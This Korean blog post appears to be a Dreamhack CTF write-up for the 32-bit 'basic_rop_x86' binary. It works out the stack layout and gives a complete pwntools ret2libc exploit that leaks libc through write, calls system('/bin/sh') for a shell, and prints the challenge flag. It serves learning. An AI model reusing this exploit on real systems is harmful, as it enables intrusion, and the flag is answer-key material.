문제 분석

checksec으로 해당 바이너리에 어떤 보호기법이 적용 되어 있는지 확인해보면 NX와 ASLR이 적용되어 있다. 하지만 카나리는 적용 되어 있지 않다.
GDB 분석

main 함수를 disassemble 해보면 buf 함수가 ebp-0x44에 저장되어 있는 것을 확인할수 있다. 따라서 0x04 크기의 더미값이 스택에 있다는 뜻이다. 위의 정보를 토대로 스택 프레임 구조를 파악해보면
buf(0x40)
dummy(0x04)
sfp(0x04)
ret(0x04)
라는 것을 알 수 있다.
익스플로잇 설계
해당 바이너를 익스플로잇 하기 위해 우리는 저번 문제에서 사용하였음 ret2main 기법을 사용해 공격을 진행할 것이다.
from pwn import *
p = remote('host3.dreamhack.games',14416)
#p = process('./basic_rop_x86')
e = ELF('./basic_rop_x86')
libc = ELF("./libc.so.6", checksec=False)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
read_offset = libc.symbols['read']
write_offset = libc.symbols['write']
system_offset = libc.symbols['system']
sh = list(libc.search(b"/bin/sh"))[0]
pppr = 0x08048689
# Stage 1
payload = b'A' * 0x48
# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
# calculate addr
read = u32(p.recv(4))
lb = read - read_offset
system = lb + system_offset
binsh = lb + sh
print("read : ", hex(read))
print("lb : ", hex(lb))
print("system : ", hex(system))
print("binsh : ", hex(binsh))
# stage 2
payload = b'A' * 0x48
payload += p32(system)
payload += p32(pppr) + p32(binsh)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
익스플로잇 코드는 저번 문제와 전반적으로 거의 똑같다. 하지만 다른점이 있다면 해당 바이너리는 32비트 환경의 바이너리이기 때문에 ROT가젯을 사용하는 방법이 다르다.
그래도 간략히 익스플로잇 과정를 설명하자면,
stage1에서 buf에서 sfp까지 A라는 더미값으로 덮어써주고 ret주소를 write함수로 덮어써서 read_got를 출력한다. 그리고 system 함수 호출을 위해, read, libc 베이스 주소, system 함수의 주소를 계산해준다.
stage2에서는 main 함수로 다시 돌아가서 system('/bin/sh') 함수를 호출하여 셸을 획득한다.
여기서 주의 해야할 점이 x64와는 calling convention이 다르기 때문에 x86 환경애서는 스택에 인자를 쌓아두고 함수를 호출해야 한다. 따라서 3개의 인자를 필요로 하는 read, write 함수의 경우 pppr 형태의 가젯을 사용해야 한다.

$ ROPgadget --binary ./basic_rop_x86 --re "pop" 명령을 톻애 pppr 가젯의 주소를 찾을 수 있다.
그리고 가젯을 사용할때도 x64처럼 사용하지 않고
write_plt를 먼저 페이로드에 넣고, pppr을 넣은 뒤에 나머지 인자값들을 저장해줘야 한다.

위의 익스플로잇 코드를 실행하면 이렇게 flag를 획득할 수 있다.
flag : DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}
'CTF & Wargame(PWNABLE)' 카테고리의 다른 글
| [dreamhack] level 2 basic_rop_x64 (0) | 2025.04.07 |
|---|---|
| [dreamhack] level 2 rop (0) | 2025.04.07 |
| [dreamhack] level 2 Return to Library (0) | 2025.04.06 |
| [dreamhack] level 2 ssp_001 (0) | 2025.04.03 |
| [dreamhack] level 2 Return to Shellcode (0) | 2025.04.02 |